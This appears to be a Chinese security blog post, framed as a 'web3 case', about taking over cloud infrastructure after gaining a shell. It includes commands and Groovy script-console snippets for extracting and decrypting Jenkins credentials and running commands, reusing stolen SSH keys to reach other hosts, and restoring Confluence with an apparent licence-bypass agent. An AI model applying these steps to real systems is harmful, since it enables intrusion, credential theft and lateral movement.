【web3案件实战】jenkins数据取证与confluence数据恢复
前言:某次案件实战,通过某漏洞拿到了shell,但是dev环境,逃逸,拿到accessKey之后,发现机器没有agent,并且无法利用60s公钥写入进行getshell的操作。
拿到磁盘快照
由于是root权限的accessKey,在看了所有资源之后,发现有ecr(docker镜像仓库),先恢复了,把jar包先脱一份,用于后续代码审计。命令如下:
aws ecr get-login-password --region ap-southeast-1 | docker login --username AWS --password-stdin ****.ecr.ap-southeast-1.amazonaws.com
docker pull ****.ecr.cn-northwest-1.amazonaws.com.cn/****:latest
docker run .....
docker cp
然后看其他机器,发现有两台机器,均打不回来,找一个匿名aws,将硬盘卷
打个快照进行同步,之后再对应区域新建ec2服务器实例,将卷
进行挂载。
lsblk -l
mkdir /test
mount /dev/xvdb4 /test
苦逼的翻文件
主要关注信息:
.bash_history
.ssh
nginx.conf
/var/spool/cron
hosts
.aws
/home/*user
还有其他7788的应用,比如xxljob,springboot相关,php架构相关代码,gitlab,jenkins,nexus,confluence
jenkins取证
一般情况下jenkins在/var/lib/jenkins/
下。初始密码在/var/lib/jenkins/secrets/initialAdminPassword
。admin密码/var/lib/jenkins/users/admin_8670027049149483231/config.xml
,bcrypt加密的,比较难解密。管理员凭据会被保存在文件中,还有一些其他情况比如一些插件,也会将部分凭据持久化在文件中,格式如 AQAAABAAAAAQVA5BRFI/O5YC8pCYEBViv66xWc0HTIqYujz3N3bPWRM=
这样的都是密码,这样的密码可以被解密,但是需要两个文件。
/var/lib/jenkins/secrets/master.key
/var/lib/jenkins/secrets/hudson.util.Secret
这个两个文件都是二进制格式的,直接拖回来,或者编码之后取回来。jenkins下载的源码/var/lib/jenkins/workspace
,构建执行Shell或执行命令,来进行部署。这一块记得仔细做一下信息搜集(主要看Jenkinsfile、Dockerfile),会有不一样的发现。
保存密钥的文件,通常为/var/lib/jenkins/credentials.xml
,还有个存ssh的xml,jenkins.plugins.publish_over_ssh.BapSshPublisherPlugin.xml
。简单写了个shell,快捷读取
cmd() { echo "::::::::::::::$@::::::::::::::"; eval $@; echo; }
list() { for file in $@; do cmd "cat $file"; done; }
cmd "cat /test/var/lib/jenkins/secrets/master.key | base64 -w 0"
cmd "cat /test/var/lib/jenkins/secrets/hudson.util.Secret | base64 -w 0"
list /test/var/lib/jenkins/credentials.xml
find . -name "*.xml" | xargs grep -rni "AQAAA"
如果没拿到服务器权限,但是可以账号密码进入后台后,那么执行groovy
相关操作。
// base64读取Secret
println new File("/root/.jenkins/secrets/master.key").text
println new File("/var/lib/jenkins/secrets/hudson.util.Secret").text.bytes.encodeBase64().toString()
// 写文件操作,应该可以直接写计划任务,暂时没尝试过。
new File('/tmp/abc').withWriter('utf-8') { writer -> writer.writeLine '4 line'; writer.writeLine '5 line' }
// 解密
println(hudson.util.Secret.decrypt("{AQAAABAAAAAgQI+cpXwSulM5zcFv14L5eODWtRDiP1HBCY/*********}"))
// 获取敏感文件
new File("/root/.jenkins").eachFileMatch(~/.*.xml/) { File it-> println it.name }
// 执行命令
println "ifconfig -a".execute().text
......其他命令自行发掘。
拿到master和Secret之后,直接脚本解密就好了。(脚本太长了,后台回复jenkins
即可),拿这个aws为例,最后解出来Secretkey如下图所示。
或者解出来私钥,对其进行验证公钥,然后根据搜集到的公钥,确实能ssh shell的机器。
ssh-keygen -y -f ssh_id_rsa(私钥,记得给权限 chmod +x 600)
此时拿到通用的ssh私钥,就可以进一步登陆其他机器进行取证。比如利用通用dev私钥再次登录dev环境,看看有没有遗漏什么信息,比如docker起的gitlab(未将数据volumes映射到本地)等。一般都是配置多个私钥,只要确定环境(dev,prod,uat....)就可以连接。
confluence取证
顺便看到了confluence,写一下吧,感觉跟nexus恢复差不多,直接挂载就好了。
/home/ec2-user/wiki/confluence/
把这个目标打包拖回来
然后找一个docker-compose.yml,volumes修改为如下参数。把数据映射到docker中去。
volumes:
- /****/confluence/opt/confluence:/opt/atlassian/confluence
- /****/confluence/var/confluence:/var/atlassian/confluence
然后docker-compose up -d
启动就好了。一般情况下,是/var拖回来映射过去就好了,他这里/opt下载是confluence本体。这里贴一个docker-compose.yml作为参考:
version: '3'
services:
confluence:
image: "atlassian/confluence-server:7.9.3"
volumes:
- /opt/confluence:/opt/atlassian/confluence
- /var/confluence:/var/atlassian/confluence
- ./atlassian-agent.jar:/var/atlassian/atlassian-agent.jar
- ./mysql-connector-java-8.0.22.jar:/opt/atlassian/confluence/confluence/WEB-INF/lib/mysql-connector-java-8.0.22.jar
environment:
- JAVA_OPTS="-javaagent:/var/atlassian/atlassian-agent.jar"
- JVM_MINIMUM_MEMORY=2048m
- JVM_MAXIMUM_MEMORY=2048m
- JVM_RESERVED_CODE_CACHE_SIZE=512m
ports:
- "8099:8090"
restart: always
depends_on:
- db
db:
image: postgres:15.4-alpine
environment:
- POSTGRES_PASSWORD=postgres
- POSTGRES_DB=confluence
confluence作为一个wiki文档,一般都会存放一些开发数据,比如堡垒机相关信息,开发环境服务器账号密码,swagger api接口信息,代码片段等。最终经过大量信息搜集,成功拿到prod
环境服务器权限。下机,学新东西~
原文始发于微信公众号(安全光圈):【web3案件实战】jenkins数据取证与confluence数据恢复
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论